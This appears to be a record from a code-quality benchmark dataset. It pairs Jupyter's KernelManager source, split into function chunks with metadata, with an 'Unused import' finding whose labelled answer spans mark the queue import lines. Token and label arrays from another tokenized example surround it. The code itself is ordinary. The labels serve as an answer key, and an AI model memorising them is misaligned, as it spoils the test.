"\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "cv", "rf", "doc_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "show", "Indent_", "(_", "lw", "rite_", ",_", "level_", ",_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lw", "rite_", "(_", "etree", "\\u_", "._", "tostring_", "(_", "self_", "._", "cv", "rf", "doc_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "self", ".", "cv", "rf", "doc", ".", "export", "(", "lw", "rite", ",", " ", "level", ",", " ", "nsma", "p", ",", " ", "namespace", "\\u", ",", " ", "name", "\\u", "='", "cv", "rf", "doc", "',", " ", "pretty", "\\u", "print", "=", "pretty", "\\u", "print", ")_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse_", "(_", "in", "File", "Name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "doc_", "=_", "parse", "xml", "\\u_", "(_", "in", "File", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Node_", "=_", "doc_", "._", "getroot_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Tag_", ",_", "root", "Class_", "=_", "get", "\\u", "root", "\\u", "tag_", "(_", "root", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "root", "Class_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "root", "Tag_", "=_", "'", "CV", "RF", "1.1", "Insta", "nce", "Type", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Class_", "=_", "CV", "RF", "1", "\\u", "1", "Insta", "nce", "Type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "root", "Obj_", "=_", "root", "Class_", "._", "factory_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Obj_", "._", "build_", "(_", "root", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Enable", " ", "Pyth", "on", " ", "to", " ", "collect", " ", "the", " ", "space", " ", "used", " ", "by", " ", "the", " ", "DOM", "._", "\\u\\u\\uNL\\u\\u\\u_", "doc_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "stdout_", "._", "write_", "(_", "'<", "?", "xml", " ", "version", "=\"", "1.0", "\"", " ", "?>", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Obj_", "._", "export_", "(_", "sys_", "._", "stdout_", ",_", "0_", ",_", "name\\u_", "=_", "root", "Tag_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "namespacedef\\u_", "=_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "pretty", "\\u", "print_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "root", "Obj_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse", "Et", "ree_", "(_", "in", "File", "Name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "doc_", "=_", "parse", "xml", "\\u_", "(_", "in", "File", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Node_", "=_", "doc_", "._", "getroot_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Tag_", ",_", "root", "Class_", "=_", "get", "\\u", "root", "\\u", "tag_", "(_", "root", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "root", "Class_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "root", "Tag_", "=_", "'", "CV", "RF", "1.1", "Insta", "nce", "Type", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Class_", "=_", "CV", "RF", "1", "\\u", "1", "Insta", "nce", "Type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "root", "Obj_", "=_", "root", "Class_", "._", "factory_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Obj_", "._", "build_", "(_", "root", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Enable", " ", "Pyth", "on", " ", "to", " ", "collect", " ", "the", " ", "space", " ", "used", " ", "by", " ", "the", " ", "DOM", "._", "\\u\\u\\uNL\\u\\u\\u_", "doc_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Element_", "=_", "root", "Obj_", "._", "to", "\\u", "etree_", "(_", "None_", ",_", "name\\u_", "=_", "root", "Tag_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "content_", "=_", "etree", "\\u_", "._", "tostring_", "(_", "root", "Element_", ",_", "pretty", "\\u", "print_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "xml", "\\u", "declaration_", "=_", "True_", ",_", "encoding_", "=_", "\"", "utf", "-", "8", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "stdout_", "._", "write_", "(_", "content_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "stdout_", "._", "write_", "(_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "root", "Obj_", ",_", "root", "Element_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse", "String_", "(_", "in", "String_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "String", "IO_", "import_", "String", "IO_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "doc_", "=_", "parse", "xml", "\\u_", "(_", "String", "IO_", "(_", "in", "String_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Node_", "=_", "doc_", "._", "getroot_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Tag_", ",_", "root", "Class_", "=_", "get", "\\u", "root", "\\u", "tag_", "(_", "root", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "root", "Class_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "root", "Tag_", "=_", "'", "CV", "RF", "1.1", "Insta", "nce", "Type", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Class_", "=_", "CV", "RF", "1", "\\u", "1", "Insta", "nce", "Type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "root", "Obj_", "=_", "root", "Class_", "._", "factory_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Obj_", "._", "build_", "(_", "root", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Enable", " ", "Pyth", "on", " ", "to", " ", "collect", " ", "the", " ", "space", " ", "used", " ", "by", " ", "the", " ", "DOM", "._", "\\u\\u\\uNL\\u\\u\\u_", "doc_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "stdout_", "._", "write_", "(_", "'<", "?", "xml", " ", "version", "=\"", "1.0", "\"", " ", "?>", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Obj_", "._", "export_", "(_", "sys_", "._", "stdout_", ",_", "0_", ",_", "name\\u_", "=_", "\"", "CV", "RF", "1.1", "Insta", "nce", "Type", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "namespacedef\\u_", "=_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "root", "Obj_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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(c) Jupyter Development Team.\n# Distributed under the terms of the Modified BSD License.\n\nfrom __future__ import absolute_import\n\nfrom contextlib import contextmanager\nimport os\nimport re\nimport signal\nimport sys\nimport time\nimport warnings\ntry:\n from queue import Empty # Py 3\nexcept ImportError:\n from Queue import Empty # Py 2\n\nimport zmq\n\nfrom ipython_genutils.importstring import import_item\nfrom .localinterfaces import is_local_ip, local_ips\nfrom traitlets import (\n Any, Instance, Unicode, List, Bool, Type, DottedObjectName\n)\nfrom jupyter_client import (\n launch_kernel,\n kernelspec,\n)\nfrom .connect import ConnectionFileMixin\nfrom .session import Session\nfrom .managerabc import (\n KernelManagerABC\n)\n\n\n\n\nKernelManagerABC.register(KernelManager)\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class KernelManager(ConnectionFileMixin):\n \"\"\"Manages a single kernel in a subprocess on this host.\n\n This version starts kernels with Popen.\n \"\"\"\n\n # The PyZMQ Context to use for communication with the kernel.\n context = Instance(zmq.Context)\n\n # the class to create with our `client` method\n client_class = DottedObjectName('jupyter_client.blocking.BlockingKernelClient')\n client_factory = Type(klass='jupyter_client.KernelClient')\n\n\n # The kernel process with which the KernelManager is communicating.\n # generally a Popen instance\n kernel = Any()\n\n kernel_spec_manager = Instance(kernelspec.KernelSpecManager)\n\n\n\n kernel_name = Unicode(kernelspec.NATIVE_KERNEL_NAME)\n\n\n _kernel_spec = None\n\n\n kernel_cmd = List(Unicode(), config=True,\n help=\"\"\"DEPRECATED: Use kernel_name instead.\n\n The Popen Command to launch the kernel.\n Override this if you have a custom kernel.\n If kernel_cmd is specified in a configuration file,\n Jupyter does not pass any arguments to the kernel,\n because it cannot make any assumptions about the\n arguments that the kernel understands. In particular,\n this means that the kernel does not receive the\n option --debug if it given on the Jupyter command line.\n \"\"\"\n )\n\n\n\n # Protected traits\n _launch_args = Any()\n _control_socket = Any()\n\n _restarter = Any()\n\n autorestart = Bool(True, config=True,\n help=\"\"\"Should we autorestart the kernel if it dies.\"\"\"\n )\n\n\n #--------------------------------------------------------------------------\n # Kernel restarter\n #--------------------------------------------------------------------------\n\n\n\n\n\n #--------------------------------------------------------------------------\n # create a Client connected to our Kernel\n #--------------------------------------------------------------------------\n\n\n #--------------------------------------------------------------------------\n # Kernel management\n #--------------------------------------------------------------------------\n\n\n\n # Control socket used for polite kernel shutdown\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root.KernelManager", "header": "['module', '___EOS___']", "index": 37 }, { "content": " def _context_default(self):\n return zmq.Context.instance()", "metadata": "root.KernelManager._context_default", "header": "['class', 'KernelManager', '(', 'ConnectionFileMixin', ')', ':', '___EOS___']", "index": 45 }, { "content": " def _client_factory_default(self):\n return import_item(self.client_class)", "metadata": "root.KernelManager._client_factory_default", "header": "['class', 'KernelManager', '(', 'ConnectionFileMixin', ')', ':', '___EOS___']", "index": 51 }, { "content": " def _client_class_changed(self, name, old, new):\n self.client_factory = import_item(str(new))", "metadata": "root.KernelManager._client_class_changed", "header": "['class', 'KernelManager', '(', 'ConnectionFileMixin', ')', ':', '___EOS___']", "index": 54 }, { "content": " def _kernel_spec_manager_default(self):\n return kernelspec.KernelSpecManager(data_dir=self.data_dir)", "metadata": "root.KernelManager._kernel_spec_manager_default", "header": "['class', 'KernelManager', '(', 'ConnectionFileMixin', ')', ':', '___EOS___']", "index": 63 }, { "content": " def _kernel_spec_manager_changed(self):\n self._kernel_spec = None", "metadata": "root.KernelManager._kernel_spec_manager_changed", "header": "['class', 'KernelManager', '(', 'ConnectionFileMixin', ')', ':', '___EOS___']", "index": 66 }, { "content": " def _kernel_name_changed(self, name, old, new):\n self._kernel_spec = None\n if new == 'python':\n self.kernel_name = kernelspec.NATIVE_KERNEL_NAME", "metadata": "root.KernelManager._kernel_name_changed", "header": "['class', 'KernelManager', '(', 'ConnectionFileMixin', ')', ':', '___EOS___']", "index": 71 }, { "content": " @property\n def kernel_spec(self):\n if self._kernel_spec is None:\n self._kernel_spec = self.kernel_spec_manager.get_kernel_spec(self.kernel_name)\n return self._kernel_spec", "metadata": "root.KernelManager.kernel_spec", "header": "['class', 'KernelManager', '(', 'ConnectionFileMixin', ')', ':', '___EOS___']", "index": 78 }, { "content": " def _kernel_cmd_changed(self, name, old, new):\n warnings.warn(\"Setting kernel_cmd is deprecated, use kernel_spec to \"\n \"start different kernels.\")", "metadata": "root.KernelManager._kernel_cmd_changed", "header": "['class', 'KernelManager', '(', 'ConnectionFileMixin', ')', ':', '___EOS___']", "index": 98 }, { "content": " @property\n def ipykernel(self):\n return self.kernel_name in {'python', 'python2', 'python3'}", "metadata": "root.KernelManager.ipykernel", "header": "['class', 'KernelManager', '(', 'ConnectionFileMixin', ')', ':', '___EOS___']", "index": 102 }, { "content": " def __del__(self):\n self._close_control_socket()\n self.cleanup_connection_file()", "metadata": "root.KernelManager.__del__", "header": "['class', 'KernelManager', '(', 'ConnectionFileMixin', ')', ':', '___EOS___']", "index": 116 }, { "content": " def start_restarter(self):\n pass", "metadata": "root.KernelManager.start_restarter", "header": "['class', 'KernelManager', '(', 'ConnectionFileMixin', ')', ':', '___EOS___']", "index": 124 }, { "content": " def stop_restarter(self):\n pass", "metadata": "root.KernelManager.stop_restarter", "header": "['class', 'KernelManager', '(', 'ConnectionFileMixin', ')', ':', '___EOS___']", "index": 127 }, { "content": " def add_restart_callback(self, callback, event='restart'):\n \"\"\"register a callback to be called when a kernel is restarted\"\"\"\n if self._restarter is None:\n return\n self._restarter.add_callback(callback, event)", "metadata": "root.KernelManager.add_restart_callback", "header": "['class', 'KernelManager', '(', 'ConnectionFileMixin', ')', ':', '___EOS___']", "index": 130 }, { "content": " def remove_restart_callback(self, callback, event='restart'):\n \"\"\"unregister a callback to be called when a kernel is restarted\"\"\"\n if self._restarter is None:\n return\n self._restarter.remove_callback(callback, event)", "metadata": "root.KernelManager.remove_restart_callback", "header": "['class', 'KernelManager', '(', 'ConnectionFileMixin', ')', ':', '___EOS___']", "index": 136 }, { "content": " def client(self, **kwargs):\n \"\"\"Create a client configured to connect to our kernel\"\"\"\n kw = {}\n kw.update(self.get_connection_info(session=True))\n kw.update(dict(\n connection_file=self.connection_file,\n parent=self,\n ))\n\n # add kwargs last, for manual overrides\n kw.update(kwargs)\n return self.client_factory(**kw)", "metadata": "root.KernelManager.client", "header": "['class', 'KernelManager', '(', 'ConnectionFileMixin', ')', ':', '___EOS___']", "index": 146 }, { "content": " def format_kernel_cmd(self, extra_arguments=None):\n \"\"\"replace templated args (e.g. {connection_file})\"\"\"\n extra_arguments = extra_arguments or []\n if self.kernel_cmd:\n cmd = self.kernel_cmd + extra_arguments\n else:\n cmd = self.kernel_spec.argv + extra_arguments\n\n ns = dict(connection_file=self.connection_file,\n prefix=sys.prefix,\n )\n ns.update(self._launch_args)\n\n pat = re.compile(r'\\{([A-Za-z0-9_]+)\\}')\n def from_ns(match):\n \"\"\"Get the key out of ns if it's there, otherwise no change.\"\"\"\n return ns.get(match.group(1), match.group())\n\n return [ pat.sub(from_ns, arg) for arg in cmd ]", "metadata": "root.KernelManager.format_kernel_cmd", "header": "['class', 'KernelManager', '(', 'ConnectionFileMixin', ')', ':', '___EOS___']", "index": 163 }, { "content": " def _launch_kernel(self, kernel_cmd, **kw):\n \"\"\"actually launch the kernel\n\n override in a subclass to launch kernel subprocesses differently\n \"\"\"\n return launch_kernel(kernel_cmd, **kw)", "metadata": "root.KernelManager._launch_kernel", "header": "['class', 'KernelManager', '(', 'ConnectionFileMixin', ')', ':', '___EOS___']", "index": 183 }, { "content": " def _connect_control_socket(self):\n if self._control_socket is None:\n self._control_socket = self.connect_control()\n self._control_socket.linger = 100", "metadata": "root.KernelManager._connect_control_socket", "header": "['class', 'KernelManager', '(', 'ConnectionFileMixin', ')', ':', '___EOS___']", "index": 192 }, { "content": " def _close_control_socket(self):\n if self._control_socket is None:\n return\n self._control_socket.close()\n self._control_socket = None", "metadata": "root.KernelManager._close_control_socket", "header": "['class', 'KernelManager', '(', 'ConnectionFileMixin', ')', ':', '___EOS___']", "index": 197 }, { "content": " def start_kernel(self, **kw):\n \"\"\"Starts a kernel on this host in a separate process.\n\n If random ports (port=0) are being used, this method must be called\n before the channels are created.\n\n Parameters\n ----------\n `**kw` : optional\n keyword arguments that are passed down to build the kernel_cmd\n and launching the kernel (e.g. Popen kwargs).\n \"\"\"\n if self.transport == 'tcp' and not is_local_ip(self.ip):\n raise RuntimeError(\"Can only launch a kernel on a local interface. \"\n \"Make sure that the '*_address' attributes are \"\n \"configured properly. \"\n \"Currently valid addresses are: %s\" % local_ips()\n )\n\n # write connection file / get default ports\n self.write_connection_file()\n\n # save kwargs for use in restart\n self._launch_args = kw.copy()\n # build the Popen cmd\n extra_arguments = kw.pop('extra_arguments', [])\n kernel_cmd = self.format_kernel_cmd(extra_arguments=extra_arguments)\n env = kw.pop('env', os.environ).copy()\n # Don't allow PYTHONEXECUTABLE to be passed to kernel process.\n # If set, it can bork all the things.\n env.pop('PYTHONEXECUTABLE', None)\n if not self.kernel_cmd:\n # If kernel_cmd has been set manually, don't refer to a kernel spec\n # Environment variables from kernel spec are added to os.environ\n env.update(self.kernel_spec.env or {})\n \n # launch the kernel subprocess\n self.log.debug(\"Starting kernel: %s\", kernel_cmd)\n self.kernel = self._launch_kernel(kernel_cmd, env=env,\n **kw)\n self.start_restarter()\n self._connect_control_socket()", "metadata": "root.KernelManager.start_kernel", "header": "['class', 'KernelManager', '(', 'ConnectionFileMixin', ')', ':', '___EOS___']", "index": 203 }, { "content": " def request_shutdown(self, restart=False):\n \"\"\"Send a shutdown request via control channel\n \"\"\"\n content = dict(restart=restart)\n msg = self.session.msg(\"shutdown_request\", content=content)\n self.session.send(self._control_socket, msg)", "metadata": "root.KernelManager.request_shutdown", "header": "['class', 'KernelManager', '(', 'ConnectionFileMixin', ')', ':', '___EOS___']", "index": 246 }, { "content": " def finish_shutdown(self, waittime=1, pollinterval=0.1):\n \"\"\"Wait for kernel shutdown, then kill process if it doesn't shutdown.\n\n This does not send shutdown requests - use :meth:`request_shutdown`\n first.\n \"\"\"\n for i in range(int(waittime/pollinterval)):\n if self.is_alive():\n time.sleep(pollinterval)\n else:\n break\n else:\n # OK, we've waited long enough.\n if self.has_kernel:\n self._kill_kernel()", "metadata": "root.KernelManager.finish_shutdown", "header": "['class', 'KernelManager', '(', 'ConnectionFileMixin', ')', ':', '___EOS___']", "index": 253 }, { "content": " def cleanup(self, connection_file=True):\n \"\"\"Clean up resources when the kernel is shut down\"\"\"\n if connection_file:\n self.cleanup_connection_file()\n\n self.cleanup_ipc_files()\n self._close_control_socket()", "metadata": "root.KernelManager.cleanup", "header": "['class', 'KernelManager', '(', 'ConnectionFileMixin', ')', ':', '___EOS___']", "index": 269 }, { "content": " def shutdown_kernel(self, now=False, restart=False):\n \"\"\"Attempts to the stop the kernel process cleanly.\n\n This attempts to shutdown the kernels cleanly by:\n\n 1. Sending it a shutdown message over the shell channel.\n 2. If that fails, the kernel is shutdown forcibly by sending it\n a signal.\n\n Parameters\n ----------\n now : bool\n Should the kernel be forcible killed *now*. This skips the\n first, nice shutdown attempt.\n restart: bool\n Will this kernel be restarted after it is shutdown. When this\n is True, connection files will not be cleaned up.\n \"\"\"\n # Stop monitoring for restarting while we shutdown.\n self.stop_restarter()\n\n if now:\n self._kill_kernel()\n else:\n self.request_shutdown(restart=restart)\n # Don't send any additional kernel kill messages immediately, to give\n # the kernel a chance to properly execute shutdown actions. Wait for at\n # most 1s, checking every 0.1s.\n self.finish_shutdown()\n\n self.cleanup(connection_file=not restart)", "metadata": "root.KernelManager.shutdown_kernel", "header": "['class', 'KernelManager', '(', 'ConnectionFileMixin', ')', ':', '___EOS___']", "index": 277 }, { "content": " def restart_kernel(self, now=False, **kw):\n \"\"\"Restarts a kernel with the arguments that were used to launch it.\n\n If the old kernel was launched with random ports, the same ports will be\n used for the new kernel. The same connection file is used again.\n\n Parameters\n ----------\n now : bool, optional\n If True, the kernel is forcefully restarted *immediately*, without\n having a chance to do any cleanup action. Otherwise the kernel is\n given 1s to clean up before a forceful restart is issued.\n\n In all cases the kernel is restarted, the only difference is whether\n it is given a chance to perform a clean shutdown or not.\n\n `**kw` : optional\n Any options specified here will overwrite those used to launch the\n kernel.\n \"\"\"\n if self._launch_args is None:\n raise RuntimeError(\"Cannot restart the kernel. \"\n \"No previous call to 'start_kernel'.\")\n else:\n # Stop currently running kernel.\n self.shutdown_kernel(now=now, restart=True)\n\n # Start new kernel.\n self._launch_args.update(kw)\n self.start_kernel(**self._launch_args)", "metadata": "root.KernelManager.restart_kernel", "header": "['class', 'KernelManager', '(', 'ConnectionFileMixin', ')', ':', '___EOS___']", "index": 309 }, { "content": " @property\n def has_kernel(self):\n \"\"\"Has a kernel been started that we are managing.\"\"\"\n return self.kernel is not None", "metadata": "root.KernelManager.has_kernel", "header": "['class', 'KernelManager', '(', 'ConnectionFileMixin', ')', ':', '___EOS___']", "index": 340 }, { "content": " def _kill_kernel(self):\n \"\"\"Kill the running kernel.\n\n This is a private method, callers should use shutdown_kernel(now=True).\n \"\"\"\n if self.has_kernel:\n\n # Signal the kernel to terminate (sends SIGKILL on Unix and calls\n # TerminateProcess() on Win32).\n try:\n self.kernel.kill()\n except OSError as e:\n # In Windows, we will get an Access Denied error if the process\n # has already terminated. Ignore it.\n if sys.platform == 'win32':\n if e.winerror != 5:\n raise\n # On Unix, we may get an ESRCH error if the process has already\n # terminated. Ignore it.\n else:\n from errno import ESRCH\n if e.errno != ESRCH:\n raise\n\n # Block until the kernel terminates.\n self.kernel.wait()\n self.kernel = None\n else:\n raise RuntimeError(\"Cannot kill kernel. No kernel is running!\")", "metadata": "root.KernelManager._kill_kernel", "header": "['class', 'KernelManager', '(', 'ConnectionFileMixin', ')', ':', '___EOS___']", "index": 345 }, { "content": " def interrupt_kernel(self):\n \"\"\"Interrupts the kernel by sending it a signal.\n\n Unlike ``signal_kernel``, this operation is well supported on all\n platforms.\n \"\"\"\n if self.has_kernel:\n if sys.platform == 'win32':\n from .win_interrupt import send_interrupt\n send_interrupt(self.kernel.win32_interrupt_event)\n else:\n self.signal_kernel(signal.SIGINT)\n else:\n raise RuntimeError(\"Cannot interrupt kernel. No kernel is running!\")", "metadata": "root.KernelManager.interrupt_kernel", "header": "['class', 'KernelManager', '(', 'ConnectionFileMixin', ')', ':', '___EOS___']", "index": 375 }, { "content": " def signal_kernel(self, signum):\n \"\"\"Sends a signal to the process group of the kernel (this\n usually includes the kernel and any subprocesses spawned by\n the kernel).\n\n Note that since only SIGTERM is supported on Windows, this function is\n only useful on Unix systems.\n \"\"\"\n if self.has_kernel:\n if hasattr(os, \"getpgid\") and hasattr(os, \"killpg\"):\n try:\n pgid = os.getpgid(self.kernel.pid)\n os.killpg(pgid, signum)\n return\n except OSError:\n pass\n self.kernel.send_signal(signum)\n else:\n raise RuntimeError(\"Cannot signal kernel. No kernel is running!\")", "metadata": "root.KernelManager.signal_kernel", "header": "['class', 'KernelManager', '(', 'ConnectionFileMixin', ')', ':', '___EOS___']", "index": 390 }, { "content": " def is_alive(self):\n \"\"\"Is the kernel process still running?\"\"\"\n if self.has_kernel:\n if self.kernel.poll() is None:\n return True\n else:\n return False\n else:\n # we don't have a kernel\n return False", "metadata": "root.KernelManager.is_alive", "header": "['class', 'KernelManager', '(', 'ConnectionFileMixin', ')', ':', '___EOS___']", "index": 410 }, { "content": "def start_new_kernel(startup_timeout=60, kernel_name='python', **kwargs):\n \"\"\"Start a new kernel, and return its Manager and Client\"\"\"\n km = KernelManager(kernel_name=kernel_name)\n km.start_kernel(**kwargs)\n kc = km.client()\n kc.start_channels()\n try:\n kc.wait_for_ready(timeout=startup_timeout)\n except RuntimeError:\n kc.stop_channels()\n km.shutdown_kernel()\n raise\n\n return km, kc", "metadata": "root.start_new_kernel", "header": "['module', '___EOS___']", "index": 425 }, { "content": "@contextmanager\ndef run_kernel(**kwargs):\n \"\"\"Context manager to create a kernel in a subprocess.\n\n The kernel is shut down when the context exits.\n\n Returns\n -------\n kernel_client: connected KernelClient instance\n \"\"\"\n km, kc = start_new_kernel(**kwargs)\n try:\n yield kc\n finally:\n kc.stop_channels()\n km.shutdown_kernel(now=True)", "metadata": "root.run_kernel", "header": "['module', '___EOS___']", "index": 440 } ]
[ { "span": "from queue import Empty ", "start_line": 15, "start_column": 4, "end_line": 15, "end_column": 27 }, { "span": "from Queue import Empty ", "start_line": 17, "start_column": 4, "end_line": 17, "end_column": 27 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\"\"\"", "Base", " ", "class", " ", "to", " ", "manage", " ", "a", " ", "runn", "ing", " ", "kernel", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", " ", "(", "c", ")", " ", "Ju", "pyt", "er", " ", "Dev", "elo", "pme", "nt", " ", "Tea", "m", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Distribut", "ed", " ", "under", " ", "the", " ", "term", "s", " ", "of", " ", "the", " ", "Modifie", "d", " ", "BS", "D", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "abs", "olute", "\\u", "import_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "contextlib_", "import_", "contextmanager_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "signal_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "warnings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "queue_", "import_", "Empty_", "#", " ", "Py", " ", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "Queue_", "import_", "Empty_", "#", " ", "Py", " ", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "import_", "zmq_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "ipython", "\\u", "genu", "tils_", "._", "import", "string_", "import_", "import", "\\u", "item_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "._", "locali", "nter", "faces_", "import_", "is", "\\u", "local", "\\u", "ip_", ",_", "local", "\\u", "ips_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "tra", "itle", "ts_", "import_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Any_", ",_", "Instance_", ",_", "Unicode_", ",_", "List_", ",_", "Bool_", ",_", "Type_", ",_", "Dot", "ted", "Object", "Name_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "jup", "yte", "r", "\\u", "client_", "import_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "launch", "\\u", "kernel_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "kernels", "pec_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", 